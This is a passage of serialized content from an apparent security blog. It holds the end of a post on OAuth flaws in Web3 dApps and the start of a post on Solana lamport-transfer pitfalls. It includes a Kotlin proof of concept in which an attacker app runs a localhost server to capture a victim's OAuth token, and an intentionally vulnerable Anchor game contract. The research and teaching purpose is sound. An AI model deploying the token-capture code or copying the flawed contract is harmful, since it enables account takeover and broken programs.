startActivity",{"type":24,"tag":158,"props":72034,"children":72035},{"style":188},[72036],{"type":29,"value":72037},"(browserIntent)\n",{"type":24,"tag":158,"props":72039,"children":72040},{"class":160,"line":1652},[72041],{"type":24,"tag":158,"props":72042,"children":72043},{"style":188},[72044],{"type":29,"value":3967},{"type":24,"tag":158,"props":72046,"children":72047},{"class":160,"line":1704},[72048],{"type":24,"tag":158,"props":72049,"children":72050},{"emptyLinePlaceholder":16},[72051],{"type":29,"value":481},{"type":24,"tag":158,"props":72053,"children":72054},{"class":160,"line":1713},[72055,72060,72064,72069],{"type":24,"tag":158,"props":72056,"children":72057},{"style":165},[72058],{"type":29,"value":72059}," private",{"type":24,"tag":158,"props":72061,"children":72062},{"style":165},[72063],{"type":29,"value":493},{"type":24,"tag":158,"props":72065,"children":72066},{"style":496},[72067],{"type":29,"value":72068}," startWebServer",{"type":24,"tag":158,"props":72070,"children":72071},{"style":188},[72072],{"type":29,"value":16972},{"type":24,"tag":158,"props":72074,"children":72075},{"class":160,"line":1731},[72076,72081,72086,72090,72095],{"type":24,"tag":158,"props":72077,"children":72078},{"style":496},[72079],{"type":29,"value":72080}," embeddedServer",{"type":24,"tag":158,"props":72082,"children":72083},{"style":188},[72084],{"type":29,"value":72085},"(CIO, port ",{"type":24,"tag":158,"props":72087,"children":72088},{"style":222},[72089],{"type":29,"value":1285},{"type":24,"tag":158,"props":72091,"children":72092},{"style":465},[72093],{"type":29,"value":72094}," 3000",{"type":24,"tag":158,"props":72096,"children":72097},{"style":188},[72098],{"type":29,"value":16038},{"type":24,"tag":158,"props":72100,"children":72101},{"class":160,"line":5485},[72102,72107],{"type":24,"tag":158,"props":72103,"children":72104},{"style":496},[72105],{"type":29,"value":72106}," routing",{"type":24,"tag":158,"props":72108,"children":72109},{"style":188},[72110],{"type":29,"value":210},{"type":24,"tag":158,"props":72112,"children":72113},{"class":160,"line":5493},[72114,72119,72123,72128],{"type":24,"tag":158,"props":72115,"children":72116},{"style":165},[72117],{"type":29,"value":72118}," get",{"type":24,"tag":158,"props":72120,"children":72121},{"style":188},[72122],{"type":29,"value":504},{"type":24,"tag":158,"props":72124,"children":72125},{"style":1108},[72126],{"type":29,"value":72127},"\"{...}\"",{"type":24,"tag":158,"props":72129,"children":72130},{"style":188},[72131],{"type":29,"value":16038},{"type":24,"tag":158,"props":72133,"children":72134},{"class":160,"line":5553},[72135,72140,72145],{"type":24,"tag":158,"props":72136,"children":72137},{"style":188},[72138],{"type":29,"value":72139}," call.",{"type":24,"tag":158,"props":72141,"children":72142},{"style":496},[72143],{"type":29,"value":72144},"respondHtml",{"type":24,"tag":158,"props":72146,"children":72147},{"style":188},[72148],{"type":29,"value":210},{"type":24,"tag":158,"props":72150,"children":72151},{"class":160,"line":10636},[72152,72157],{"type":24,"tag":158,"props":72153,"children":72154},{"style":496},[72155],{"type":29,"value":72156}," head",{"type":24,"tag":158,"props":72158,"children":72159},{"style":188},[72160],{"type":29,"value":210},{"type":24,"tag":158,"props":72162,"children":72163},{"class":160,"line":10652},[72164,72169,72174,72178,72183],{"type":24,"tag":158,"props":72165,"children":72166},{"style":496},[72167],{"type":29,"value":72168}," meta",{"type":24,"tag":158,"props":72170,"children":72171},{"style":188},[72172],{"type":29,"value":72173},"(charset ",{"type":24,"tag":158,"props":72175,"children":72176},{"style":222},[72177],{"type":29,"value":1285},{"type":24,"tag":158,"props":72179,"children":72180},{"style":1108},[72181],{"type":29,"value":72182}," \"UTF-8\"",{"type":24,"tag":158,"props":72184,"children":72185},{"style":188},[72186],{"type":29,"value":2125},{"type":24,"tag":158,"props":72188,"children":72189},{"class":160,"line":10696},[72190,72194,72199,72203,72208,72213,72217,72222],{"type":24,"tag":158,"props":72191,"children":72192},{"style":496},[72193],{"type":29,"value":72168},{"type":24,"tag":158,"props":72195,"children":72196},{"style":188},[72197],{"type":29,"value":72198},"(name ",{"type":24,"tag":158,"props":72200,"children":72201},{"style":222},[72202],{"type":29,"value":1285},{"type":24,"tag":158,"props":72204,"children":72205},{"style":1108},[72206],{"type":29,"value":72207}," \"viewport\"",{"type":24,"tag":158,"props":72209,"children":72210},{"style":188},[72211],{"type":29,"value":72212},", content ",{"type":24,"tag":158,"props":72214,"children":72215},{"style":222},[72216],{"type":29,"value":1285},{"type":24,"tag":158,"props":72218,"children":72219},{"style":1108},[72220],{"type":29,"value":72221}," \"width=device-width, initial-scale=1.0\"",{"type":24,"tag":158,"props":72223,"children":72224},{"style":188},[72225],{"type":29,"value":2125},{"type":24,"tag":158,"props":72227,"children":72228},{"class":160,"line":10801},[72229,72234,72238,72243],{"type":24,"tag":158,"props":72230,"children":72231},{"style":496},[72232],{"type":29,"value":72233}," title",{"type":24,"tag":158,"props":72235,"children":72236},{"style":188},[72237],{"type":29,"value":504},{"type":24,"tag":158,"props":72239,"children":72240},{"style":1108},[72241],{"type":29,"value":72242},"\"OAuth Redirect\"",{"type":24,"tag":158,"props":72244,"children":72245},{"style":188},[72246],{"type":29,"value":2125},{"type":24,"tag":158,"props":72248,"children":72249},{"class":160,"line":24754},[72250],{"type":24,"tag":158,"props":72251,"children":72252},{"style":188},[72253],{"type":29,"value":72254}," }\n",{"type":24,"tag":158,"props":72256,"children":72257},{"class":160,"line":24789},[72258,72263],{"type":24,"tag":158,"props":72259,"children":72260},{"style":496},[72261],{"type":29,"value":72262}," body",{"type":24,"tag":158,"props":72264,"children":72265},{"style":188},[72266],{"type":29,"value":210},{"type":24,"tag":158,"props":72268,"children":72269},{"class":160,"line":24797},[72270,72275,72279,72283,72288],{"type":24,"tag":158,"props":72271,"children":72272},{"style":496},[72273],{"type":29,"value":72274}," h1",{"type":24,"tag":158,"props":72276,"children":72277},{"style":188},[72278],{"type":29,"value":372},{"type":24,"tag":158,"props":72280,"children":72281},{"style":222},[72282],{"type":29,"value":728},{"type":24,"tag":158,"props":72284,"children":72285},{"style":1108},[72286],{"type":29,"value":72287},"\"Google OAuth Redirect\"",{"type":24,"tag":158,"props":72289,"children":72290},{"style":188},[72291],{"type":29,"value":382},{"type":24,"tag":158,"props":72293,"children":72294},{"class":160,"line":24805},[72295,72300],{"type":24,"tag":158,"props":72296,"children":72297},{"style":496},[72298],{"type":29,"value":72299}," script",{"type":24,"tag":158,"props":72301,"children":72302},{"style":188},[72303],{"type":29,"value":210},{"type":24,"tag":158,"props":72305,"children":72306},{"class":160,"line":24814},[72307,72312],{"type":24,"tag":158,"props":72308,"children":72309},{"style":222},[72310],{"type":29,"value":72311}," +",{"type":24,"tag":158,"props":72313,"children":72314},{"style":1108},[72315],{"type":29,"value":72316},"\"document.body.innerText = location.search;\"\n",{"type":24,"tag":158,"props":72318,"children":72319},{"class":160,"line":24856},[72320],{"type":24,"tag":158,"props":72321,"children":72322},{"style":188},[72323],{"type":29,"value":72324}," }\n",{"type":24,"tag":158,"props":72326,"children":72327},{"class":160,"line":24889},[72328],{"type":24,"tag":158,"props":72329,"children":72330},{"style":188},[72331],{"type":29,"value":72254},{"type":24,"tag":158,"props":72333,"children":72334},{"class":160,"line":24897},[72335],{"type":24,"tag":158,"props":72336,"children":72337},{"style":188},[72338],{"type":29,"value":72339}," }\n",{"type":24,"tag":158,"props":72341,"children":72342},{"class":160,"line":24905},[72343],{"type":24,"tag":158,"props":72344,"children":72345},{"style":188},[72346],{"type":29,"value":72347}," }\n",{"type":24,"tag":158,"props":72349,"children":72350},{"class":160,"line":24914},[72351],{"type":24,"tag":158,"props":72352,"children":72353},{"style":188},[72354],{"type":29,"value":60158},{"type":24,"tag":158,"props":72356,"children":72357},{"class":160,"line":24990},[72358,72363,72368,72373,72377,72381],{"type":24,"tag":158,"props":72359,"children":72360},{"style":188},[72361],{"type":29,"value":72362}," }.",{"type":24,"tag":158,"props":72364,"children":72365},{"style":496},[72366],{"type":29,"value":72367},"start",{"type":24,"tag":158,"props":72369,"children":72370},{"style":188},[72371],{"type":29,"value":72372},"(wait ",{"type":24,"tag":158,"props":72374,"children":72375},{"style":222},[72376],{"type":29,"value":1285},{"type":24,"tag":158,"props":72378,"children":72379},{"style":165},[72380],{"type":29,"value":3354},{"type":24,"tag":158,"props":72382,"children":72383},{"style":188},[72384],{"type":29,"value":2125},{"type":24,"tag":158,"props":72386,"children":72387},{"class":160,"line":25023},[72388],{"type":24,"tag":158,"props":72389,"children":72390},{"style":188},[72391],{"type":29,"value":3967},{"type":24,"tag":158,"props":72393,"children":72394},{"class":160,"line":25031},[72395],{"type":24,"tag":158,"props":72396,"children":72397},{"style":188},[72398],{"type":29,"value":307},{"type":24,"tag":25,"props":72400,"children":72401},{},[72402],{"type":29,"value":72403},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":24,"tag":25,"props":72405,"children":72406},{},[72407],{"type":29,"value":72408},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":24,"tag":395,"props":72410,"children":72412},{"id":72411},"mitigation-1",[72413],{"type":29,"value":41601},{"type":24,"tag":25,"props":72415,"children":72416},{},[72417,72419,72424],{"type":29,"value":72418},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":24,"tag":154,"props":72420,"children":72422},{"className":72421},[],[72423],{"type":29,"value":71041},{"type":29,"value":72425}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":24,"tag":59,"props":72427,"children":72428},{"id":30191},[72429],{"type":29,"value":20189},{"type":24,"tag":25,"props":72431,"children":72432},{},[72433],{"type":29,"value":72434},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":24,"tag":25,"props":72436,"children":72437},{},[72438],{"type":29,"value":72439},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":24,"tag":4517,"props":72441,"children":72442},{},[72443],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":72445},[72446,72453,72458,72461],{"id":70809,"depth":213,"text":70812,"children":72447},[72448,72449,72450,72451,72452],{"id":70820,"depth":238,"text":70823},{"id":70847,"depth":238,"text":70850},{"id":70908,"depth":238,"text":70911},{"id":70965,"depth":238,"text":70968},{"id":71064,"depth":238,"text":71067},{"id":71110,"depth":213,"text":71113,"children":72454},[72455,72456,72457],{"id":71116,"depth":238,"text":71119},{"id":71143,"depth":238,"text":71146},{"id":41598,"depth":238,"text":41601},{"id":71592,"depth":213,"text":71595,"children":72459},[72460],{"id":72411,"depth":238,"text":41601},{"id":30191,"depth":213,"text":20189},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":72466,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":72467,"description":72468,"author":41717,"image":72469,"date":72471,"isFeatured":16,"tags":72472,"onBlogPage":16,"body":72473,"_type":4536,"_id":77127,"_source":4538,"_file":77128,"_stem":77129,"_extension":4541},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":72470,"height":14857,"width":14857},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[4553],{"type":21,"children":72474,"toc":77116},[72475,72479,72484,72498,72504,72509,72539,72544,72549,73587,73592,73600,73605,73611,73617,73629,73662,73674,73687,73699,74144,74149,74195,74201,74206,74293,74298,74312,74325,74988,74993,75005,75011,75022,75034,75188,75202,75221,75242,75248,75253,75598,75603,75609,75628,75642,76264,76269,76289,76294,76299,76305,76317,76338,76513,76519,76524,76825,76846,76858,76870,76954,76974,76986,76992,77004,77010,77015,77038,77050,77056,77068,77073,77079,77084,77089,77107,77112],{"type":24,"tag":59,"props":72476,"children":72477},{"id":30274},[72478],{"type":29,"value":30277},{"type":24,"tag":25,"props":72480,"children":72481},{},[72482],{"type":29,"value":72483},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":24,"tag":25,"props":72485,"children":72486},{},[72487,72489,72496],{"type":29,"value":72488},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":24,"tag":101,"props":72490,"children":72493},{"href":72491,"rel":72492},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[105],[72494],{"type":29,"value":72495},"King of the Ether",{"type":29,"value":72497},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":24,"tag":59,"props":72499,"children":72501},{"id":72500},"the-game-king-of-the-sol",[72502],{"type":29,"value":72503},"The Game: King of the SOL",{"type":24,"tag":25,"props":72505,"children":72506},{},[72507],{"type":29,"value":72508},"The game works like this:",{"type":24,"tag":17924,"props":72510,"children":72511},{},[72512,72524,72529,72534],{"type":24,"tag":1790,"props":72513,"children":72514},{},[72515,72517,72522],{"type":29,"value":72516},"Anyone can become the ",{"type":24,"tag":897,"props":72518,"children":72519},{},[72520],{"type":29,"value":72521},"king",{"type":29,"value":72523}," by bidding at least 2× the previous bid.",{"type":24,"tag":1790,"props":72525,"children":72526},{},[72527],{"type":29,"value":72528},"The old king is reimbursed 95% of their bid.",{"type":24,"tag":1790,"props":72530,"children":72531},{},[72532],{"type":29,"value":72533},"The remaining 5% goes into a prize pot.",{"type":24,"tag":1790,"props":72535,"children":72536},{},[72537],{"type":29,"value":72538},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":24,"tag":25,"props":72540,"children":72541},{},[72542],{"type":29,"value":72543},"Simple, right?",{"type":24,"tag":25,"props":72545,"children":72546},{},[72547],{"type":29,"value":72548},"This is the core logic:",{"type":24,"tag":147,"props":72550,"children":72552},{"className":151,"code":72551,"language":150,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n #[account(mut)]\n pub throne: Account\u003C'info, Throne>,\n\n /// CHECK: old_king gets a 95% refund, so ensure its writable.\n #[account(mut, constraint = old_king.key() == throne.king)]\n pub old_king: AccountInfo\u003C'info>,\n\n /// CHECK: any writable account is allowed as a new king.\n #[account(mut)]\n pub new_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n // Check that bid_amount is at least 2x last_bid_amount\n assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n transfer_from_signer(\n &ctx.accounts.payer,\n &ctx.accounts.throne.to_account_info(),\n bid_amount,\n )?;\n\n // Reimburse 95% of the last bid to the old king\n let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n transfer_from_pda(\n &ctx.accounts.throne.to_account_info(),\n &ctx.accounts.old_king,\n to_reimburse,\n )?;\n\n // Set new king\n ctx.accounts.throne.king = ctx.accounts.new_king.key();\n ctx.accounts.throne.last_bid_amount = bid_amount;\n ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n Ok(())\n }\n}\n",[72553],{"type":24,"tag":154,"props":72554,"children":72555},{"__ignoreMap":7},[72556,72571,72599,72614,72655,72662,72670,72721,72752,72759,72767,72782,72814,72821,72836,72867,72874,72881,72889,72906,72980,72988,73049,73061,73089,73129,73141,73157,73164,73172,73246,73258,73297,73325,73337,73352,73359,73367,73437,73481,73555,73562,73573,73580],{"type":24,"tag":158,"props":72557,"children":72558},{"class":160,"line":161},[72559,72563,72567],{"type":24,"tag":158,"props":72560,"children":72561},{"style":188},[72562],{"type":29,"value":24082},{"type":24,"tag":158,"props":72564,"children":72565},{"style":171},[72566],{"type":29,"value":24087},{"type":24,"tag":158,"props":72568,"children":72569},{"style":188},[72570],{"type":29,"value":21502},{"type":24,"tag":158,"props":72572,"children":72573},{"class":160,"line":213},[72574,72578,72582,72587,72591,72595],{"type":24,"tag":158,"props":72575,"children":72576},{"style":165},[72577],{"type":29,"value":14924},{"type":24,"tag":158,"props":72579,"children":72580},{"style":165},[72581],{"type":29,"value":22395},{"type":24,"tag":158,"props":72583,"children":72584},{"style":171},[72585],{"type":29,"value":72586}," ChangeKing",{"type":24,"tag":158,"props":72588,"children":72589},{"style":188},[72590],{"type":29,"value":24167},{"type":24,"tag":158,"props":72592,"children":72593},{"style":171},[72594],{"type":29,"value":24172},{"type":24,"tag":158,"props":72596,"children":72597},{"style":188},[72598],{"type":29,"value":8922},{"type":24,"tag":158,"props":72600,"children":72601},{"class":160,"line":238},[72602,72606,72610],{"type":24,"tag":158,"props":72603,"children":72604},{"style":188},[72605],{"type":29,"value":24374},{"type":24,"tag":158,"props":72607,"children":72608},{"style":165},[72609],{"type":29,"value":2169},{"type":24,"tag":158,"props":72611,"children":72612},{"style":188},[72613],{"type":29,"value":21502},{"type":24,"tag":158,"props":72615,"children":72616},{"class":160,"line":259},[72617,72621,72626,72630,72634,72638,72642,72646,72651],{"type":24,"tag":158,"props":72618,"children":72619},{"style":165},[72620],{"type":29,"value":22087},{"type":24,"tag":158,"props":72622,"children":72623},{"style":177},[72624],{"type":29,"value":72625}," throne",{"type":24,"tag":158,"props":72627,"children":72628},{"style":222},[72629],{"type":29,"value":225},{"type":24,"tag":158,"props":72631,"children":72632},{"style":171},[72633],{"type":29,"value":24339},{"type":24,"tag":158,"props":72635,"children":72636},{"style":188},[72637],{"type":29,"value":24167},{"type":24,"tag":158,"props":72639,"children":72640},{"style":171},[72641],{"type":29,"value":24172},{"type":24,"tag":158,"props":72643,"children":72644},{"style":188},[72645],{"type":29,"value":191},{"type":24,"tag":158,"props":72647,"children":72648},{"style":171},[72649],{"type":29,"value":72650},"Throne",{"type":24,"tag":158,"props":72652,"children":72653},{"style":188},[72654],{"type":29,"value":7788},{"type":24,"tag":158,"props":72656,"children":72657},{"class":160,"line":280},[72658],{"type":24,"tag":158,"props":72659,"children":72660},{"emptyLinePlaceholder":16},[72661],{"type":29,"value":481},{"type":24,"tag":158,"props":72663,"children":72664},{"class":160,"line":301},[72665],{"type":24,"tag":158,"props":72666,"children":72667},{"style":2588},[72668],{"type":29,"value":72669}," /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":24,"tag":158,"props":72671,"children":72672},{"class":160,"line":626},[72673,72677,72681,72686,72690,72695,72699,72704,72708,72712,72716],{"type":24,"tag":158,"props":72674,"children":72675},{"style":188},[72676],{"type":29,"value":24374},{"type":24,"tag":158,"props":72678,"children":72679},{"style":165},[72680],{"type":29,"value":2169},{"type":24,"tag":158,"props":72682,"children":72683},{"style":188},[72684],{"type":29,"value":72685},", constraint ",{"type":24,"tag":158,"props":72687,"children":72688},{"style":222},[72689],{"type":29,"value":1285},{"type":24,"tag":158,"props":72691,"children":72692},{"style":188},[72693],{"type":29,"value":72694}," old_king",{"type":24,"tag":158,"props":72696,"children":72697},{"style":222},[72698],{"type":29,"value":347},{"type":24,"tag":158,"props":72700,"children":72701},{"style":188},[72702],{"type":29,"value":72703},"key() ",{"type":24,"tag":158,"props":72705,"children":72706},{"style":222},[72707],{"type":29,"value":1034},{"type":24,"tag":158,"props":72709,"children":72710},{"style":188},[72711],{"type":29,"value":72625},{"type":24,"tag":158,"props":72713,"children":72714},{"style":222},[72715],{"type":29,"value":347},{"type":24,"tag":158,"props":72717,"children":72718},{"style":188},[72719],{"type":29,"value":72720},"king)]\n",{"type":24,"tag":158,"props":72722,"children":72723},{"class":160,"line":668},[72724,72728,72732,72736,72740,72744,72748],{"type":24,"tag":158,"props":72725,"children":72726},{"style":165},[72727],{"type":29,"value":22087},{"type":24,"tag":158,"props":72729,"children":72730},{"style":177},[72731],{"type":29,"value":72694},{"type":24,"tag":158,"props":72733,"children":72734},{"style":222},[72735],{"type":29,"value":225},{"type":24,"tag":158,"props":72737,"children":72738},{"style":171},[72739],{"type":29,"value":26655},{"type":24,"tag":158,"props":72741,"children":72742},{"style":188},[72743],{"type":29,"value":24167},{"type":24,"tag":158,"props":72745,"children":72746},{"style":171},[72747],{"type":29,"value":24172},{"type":24,"tag":158,"props":72749,"children":72750},{"style":188},[72751],{"type":29,"value":7788},{"type":24,"tag":158,"props":72753,"children":72754},{"class":160,"line":676},[72755],{"type":24,"tag":158,"props":72756,"children":72757},{"emptyLinePlaceholder":16},[72758],{"type":29,"value":481},{"type":24,"tag":158,"props":72760,"children":72761},{"class":160,"line":684},[72762],{"type":24,"tag":158,"props":72763,"children":72764},{"style":2588},[72765],{"type":29,"value":72766}," /// CHECK: any writable account is allowed as a new king.\n",{"type":24,"tag":158,"props":72768,"children":72769},{"class":160,"line":700},[72770,72774,72778],{"type":24,"tag":158,"props":72771,"children":72772},{"style":188},[72773],{"type":29,"value":24374},{"type":24,"tag":158,"props":72775,"children":72776},{"style":165},[72777],{"type":29,"value":2169},{"type":24,"tag":158,"props":72779,"children":72780},{"style":188},[72781],{"type":29,"value":21502},{"type":24,"tag":158,"props":72783,"children":72784},{"class":160,"line":785},[72785,72789,72794,72798,72802,72806,72810],{"type":24,"tag":158,"props":72786,"children":72787},{"style":165},[72788],{"type":29,"value":22087},{"type":24,"tag":158,"props":72790,"children":72791},{"style":177},[72792],{"type":29,"value":72793}," new_king",{"type":24,"tag":158,"props":72795,"children":72796},{"style":222},[72797],{"type":29,"value":225},{"type":24,"tag":158,"props":72799,"children":72800},{"style":171},[72801],{"type":29,"value":26655},{"type":24,"tag":158,"props":72803,"children":72804},{"style":188},[72805],{"type":29,"value":24167},{"type":24,"tag":158,"props":72807,"children":72808},{"style":171},[72809],{"type":29,"value":24172},{"type":24,"tag":158,"props":72811,"children":72812},{"style":188},[72813],{"type":29,"value":7788},{"type":24,"tag":158,"props":72815,"children":72816},{"class":160,"line":1447},[72817],{"type":24,"tag":158,"props":72818,"children":72819},{"emptyLinePlaceholder":16},[72820],{"type":29,"value":481},{"type":24,"tag":158,"props":72822,"children":72823},{"class":160,"line":1509},[72824,72828,72832],{"type":24,"tag":158,"props":72825,"children":72826},{"style":188},[72827],{"type":29,"value":24374},{"type":24,"tag":158,"props":72829,"children":72830},{"style":165},[72831],{"type":29,"value":2169},{"type":24,"tag":158,"props":72833,"children":72834},{"style":188},[72835],{"type":29,"value":21502},{"type":24,"tag":158,"props":72837,"children":72838},{"class":160,"line":1527},[72839,72843,72847,72851,72855,72859,72863],{"type":24,"tag":158,"props":72840,"children":72841},{"style":165},[72842],{"type":29,"value":22087},{"type":24,"tag":158,"props":72844,"children":72845},{"style":177},[72846],{"type":29,"value":43507},{"type":24,"tag":158,"props":72848,"children":72849},{"style":222},[72850],{"type":29,"value":225},{"type":24,"tag":158,"props":72852,"children":72853},{"style":171},[72854],{"type":29,"value":24403},{"type":24,"tag":158,"props":72856,"children":72857},{"style":188},[72858],{"type":29,"value":24167},{"type":24,"tag":158,"props":72860,"children":72861},{"style":171},[72862],{"type":29,"value":24172},{"type":24,"tag":158,"props":72864,"children":72865},{"style":188},[72866],{"type":29,"value":7788},{"type":24,"tag":158,"props":72868,"children":72869},{"class":160,"line":1545},[72870],{"type":24,"tag":158,"props":72871,"children":72872},{"style":188},[72873],{"type":29,"value":307},{"type":24,"tag":158,"props":72875,"children":72876},{"class":160,"line":1618},[72877],{"type":24,"tag":158,"props":72878,"children":72879},{"emptyLinePlaceholder":16},[72880],{"type":29,"value":481},{"type":24,"tag":158,"props":72882,"children":72883},{"class":160,"line":1635},[72884],{"type":24,"tag":158,"props":72885,"children":72886},{"style":188},[72887],{"type":29,"value":72888},"#[program]\n",{"type":24,"tag":158,"props":72890,"children":72891},{"class":160,"line":1644},[72892,72896,72901],{"type":24,"tag":158,"props":72893,"children":72894},{"style":165},[72895],{"type":29,"value":14924},{"type":24,"tag":158,"props":72897,"children":72898},{"style":165},[72899],{"type":29,"value":72900}," mod",{"type":24,"tag":158,"props":72902,"children":72903},{"style":188},[72904],{"type":29,"value":72905}," king_of_the_sol {\n",{"type":24,"tag":158,"props":72907,"children":72908},{"class":160,"line":1652},[72909,72913,72917,72922,72926,72930,72934,72938,72942,72947,72951,72956,72960,72964,72968,72972,72976],{"type":24,"tag":158,"props":72910,"children":72911},{"style":165},[72912],{"type":29,"value":22087},{"type":24,"tag":158,"props":72914,"children":72915},{"style":165},[72916],{"type":29,"value":14929},{"type":24,"tag":158,"props":72918,"children":72919},{"style":496},[72920],{"type":29,"value":72921}," change_king",{"type":24,"tag":158,"props":72923,"children":72924},{"style":188},[72925],{"type":29,"value":504},{"type":24,"tag":158,"props":72927,"children":72928},{"style":177},[72929],{"type":29,"value":21524},{"type":24,"tag":158,"props":72931,"children":72932},{"style":222},[72933],{"type":29,"value":225},{"type":24,"tag":158,"props":72935,"children":72936},{"style":171},[72937],{"type":29,"value":21533},{"type":24,"tag":158,"props":72939,"children":72940},{"style":188},[72941],{"type":29,"value":3760},{"type":24,"tag":158,"props":72943,"children":72944},{"style":171},[72945],{"type":29,"value":72946},"ChangeKing",{"type":24,"tag":158,"props":72948,"children":72949},{"style":188},[72950],{"type":29,"value":8278},{"type":24,"tag":158,"props":72952,"children":72953},{"style":177},[72954],{"type":29,"value":72955},"bid_amount",{"type":24,"tag":158,"props":72957,"children":72958},{"style":222},[72959],{"type":29,"value":225},{"type":24,"tag":158,"props":72961,"children":72962},{"style":171},[72963],{"type":29,"value":230},{"type":24,"tag":158,"props":72965,"children":72966},{"style":188},[72967],{"type":29,"value":723},{"type":24,"tag":158,"props":72969,"children":72970},{"style":222},[72971],{"type":29,"value":14991},{"type":24,"tag":158,"props":72973,"children":72974},{"style":171},[72975],{"type":29,"value":14996},{"type":24,"tag":158,"props":72977,"children":72978},{"style":188},[72979],{"type":29,"value":21575},{"type":24,"tag":158,"props":72981,"children":72982},{"class":160,"line":1704},[72983],{"type":24,"tag":158,"props":72984,"children":72985},{"style":2588},[72986],{"type":29,"value":72987}," // Check that bid_amount is at least 2x last_bid_amount\n",{"type":24,"tag":158,"props":72989,"children":72990},{"class":160,"line":1713},[72991,72995,72999,73003,73007,73011,73015,73019,73023,73028,73032,73037,73041,73045],{"type":24,"tag":158,"props":72992,"children":72993},{"style":496},[72994],{"type":29,"value":65722},{"type":24,"tag":158,"props":72996,"children":72997},{"style":188},[72998],{"type":29,"value":504},{"type":24,"tag":158,"props":73000,"children":73001},{"style":177},[73002],{"type":29,"value":72955},{"type":24,"tag":158,"props":73004,"children":73005},{"style":222},[73006],{"type":29,"value":9917},{"type":24,"tag":158,"props":73008,"children":73009},{"style":177},[73010],{"type":29,"value":27100},{"type":24,"tag":158,"props":73012,"children":73013},{"style":222},[73014],{"type":29,"value":347},{"type":24,"tag":158,"props":73016,"children":73017},{"style":188},[73018],{"type":29,"value":15909},{"type":24,"tag":158,"props":73020,"children":73021},{"style":222},[73022],{"type":29,"value":347},{"type":24,"tag":158,"props":73024,"children":73025},{"style":188},[73026],{"type":29,"value":73027},"throne",{"type":24,"tag":158,"props":73029,"children":73030},{"style":222},[73031],{"type":29,"value":347},{"type":24,"tag":158,"props":73033,"children":73034},{"style":188},[73035],{"type":29,"value":73036},"last_bid_amount ",{"type":24,"tag":158,"props":73038,"children":73039},{"style":222},[73040],{"type":29,"value":577},{"type":24,"tag":158,"props":73042,"children":73043},{"style":465},[73044],{"type":29,"value":9573},{"type":24,"tag":158,"props":73046,"children":73047},{"style":188},[73048],{"type":29,"value":1071},{"type":24,"tag":158,"props":73050,"children":73051},{"class":160,"line":1731},[73052,73057],{"type":24,"tag":158,"props":73053,"children":73054},{"style":496},[73055],{"type":29,"value":73056}," transfer_from_signer",{"type":24,"tag":158,"props":73058,"children":73059},{"style":188},[73060],{"type":29,"value":2156},{"type":24,"tag":158,"props":73062,"children":73063},{"class":160,"line":5485},[73064,73068,73072,73076,73080,73084],{"type":24,"tag":158,"props":73065,"children":73066},{"style":222},[73067],{"type":29,"value":9325},{"type":24,"tag":158,"props":73069,"children":73070},{"style":177},[73071],{"type":29,"value":21524},{"type":24,"tag":158,"props":73073,"children":73074},{"style":222},[73075],{"type":29,"value":347},{"type":24,"tag":158,"props":73077,"children":73078},{"style":188},[73079],{"type":29,"value":15909},{"type":24,"tag":158,"props":73081,"children":73082},{"style":222},[73083],{"type":29,"value":347},{"type":24,"tag":158,"props":73085,"children":73086},{"style":188},[73087],{"type":29,"value":73088},"payer,\n",{"type":24,"tag":158,"props":73090,"children":73091},{"class":160,"line":5493},[73092,73096,73100,73104,73108,73112,73116,73120,73125],{"type":24,"tag":158,"props":73093,"children":73094},{"style":222},[73095],{"type":29,"value":9325},{"type":24,"tag":158,"props":73097,"children":73098},{"style":177},[73099],{"type":29,"value":21524},{"type":24,"tag":158,"props":73101,"children":73102},{"style":222},[73103],{"type":29,"value":347},{"type":24,"tag":158,"props":73105,"children":73106},{"style":188},[73107],{"type":29,"value":15909},{"type":24,"tag":158,"props":73109,"children":73110},{"style":222},[73111],{"type":29,"value":347},{"type":24,"tag":158,"props":73113,"children":73114},{"style":188},[73115],{"type":29,"value":73027},{"type":24,"tag":158,"props":73117,"children":73118},{"style":222},[73119],{"type":29,"value":347},{"type":24,"tag":158,"props":73121,"children":73122},{"style":496},[73123],{"type":29,"value":73124},"to_account_info",{"type":24,"tag":158,"props":73126,"children":73127},{"style":188},[73128],{"type":29,"